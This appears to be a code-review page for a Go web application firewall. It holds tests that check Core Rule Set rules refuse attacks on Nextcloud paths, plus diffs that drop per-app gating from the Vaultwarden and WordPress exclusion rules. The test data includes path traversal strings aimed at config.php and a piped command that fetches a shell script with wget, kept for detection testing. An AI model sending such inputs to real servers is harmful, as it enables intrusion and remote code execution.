func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fconfig%2Fconfig.php",
scriptInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
scores := nextcloudFieldScores(t, attack)
maps.Copy(scores, nextcloudTextScores(t, written))
for request, score := range scores {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// A shell command after a ";" reaches Nextcloud only in the texts.
for request, score := range nextcloudFieldScores(t, commandInjection) {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
}
for _, value := range hardValues {
name, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
wantResult(t, crs, cookie(name), matched())
}
// A cookie cannot hold a ";", so the command follows a "|" instead.
for _, attack := range []string{
injection,
"../../config/config.php",
scriptTag,
"x|wget http://example.com/x.sh",
} {
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
t.Errorf("nc_username=%s let through: %+v", attack, got)
}
}
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
if got.Score < nextcloudThreshold {
t.Errorf("nc_other=python3 let through: %+v", got)
}
}
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, method := range []string{
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
nextcloudSearch, "LOCK", "UNLOCK",
} {
for _, target := range []string{
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
} {
wantResult(t, crs, request{method, target, nil}, matched())
}
for _, target := range []string{
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
} {
wantResult(t, crs, request{method, target, nil}, matched(911100))
}
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
}
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
// them, which rules refused when they read them as fields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudUploads = []struct{ name, contentType, body string }{
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
}
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, upload := range nextcloudUploads {
uploaded := request{
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
}
got, _ := inspectBody(t, crs, uploaded, upload.body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
}
for _, refused := range []request{
// Elsewhere, or with another method, the body is read.
{http.MethodPost, "/", uploaded.headers},
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
{http.MethodPost, uploaded.target, uploaded.headers},
// The query is still checked.
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
} {
got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
}
}
}
}
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
for _, method := range methods {
for _, target := range []string{
nextcloudFiles + "../../../config/config.php",
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
} {
got := inspect(t, crs, request{method, target, nil})
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", method, target, got)
}
}
}
}
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, refused := range []string{
"/?dir=python3",
"/apps/other/?dir=python3",
"/apps/files/?other=python3",
"/login?other=python3",
"/x/login?user=python3",
nextcloudShare + "?files=powershell",
"/?file=powershell",
// Each public share path keeps the rules on the other's fields.
nextcloudPreview + "?files=powershell",
nextcloudShare + "/download?file=powershell",
"/?search=python3",
nextcloudUsers + "?other=python3",
"/x/ocs/v2.php/cloud/users?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
for _, sent := range []nextcloudBody{
// A JSON field of the same name in the query keeps the rules.
{
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
jsonBody, `{"value":"python3"}`,
},
{
http.MethodPost, nextcloudUsers + "?json.userid=python3",
jsonBody, `{"userid":"python3"}`,
},
{
http.MethodPut, nextcloudShares + "/1?json.note=python3",
jsonBody, `{"note":"python3"}`,
},
{
http.MethodPut, nextcloudStatus + "?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
// Other JSON fields keep them.
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
// A note or a status on another OCS path keeps them.
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
// XML on another path, or with another method, keeps them.
{
nextcloudSearch, nextcloudFiles,
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
},
{
nextcloudPropPatch, nextcloudFiles + "notes.txt",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
{
"REPORT", "/remote.php/dav/comments/files/1/2",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
} {
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
}
}
}
File diff suppressed because it is too large. Load diff
+1 -10
View File
@@ -1,4 +1,4 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that # The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where # refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain # Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request, # text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules: # Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming # name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team" # an organization or a group, "python3 .htaccess team"
@@ -89,5 +82,3 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \ SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\ "id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES" ctl:ruleRemoveTargetById=920120;FILES"
SecMarker END_VAULTWARDEN
+1 -18
View File
@@ -7,8 +7,6 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -32,22 +30,7 @@ const vaultwardenEmail = `{"email":"VALUE"}`
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden") wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
} }
// vaultwardenField is a field Vaultwarden receives in plain text: the // vaultwardenField is a field Vaultwarden receives in plain text: the
+1 -10
View File
@@ -1,17 +1,10 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused # The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before # ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set. # matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1 # /index.php/wp-json/wp/v2/posts/1
@@ -202,5 +195,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there. # so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -10,7 +10,6 @@ import (
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
@@ -22,7 +21,6 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block" block = "block"
detect = "detect" detect = "detect"
) )
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
} }
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel() t.Parallel()
+1 -3
View File
@@ -221,8 +221,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS, // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err) return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)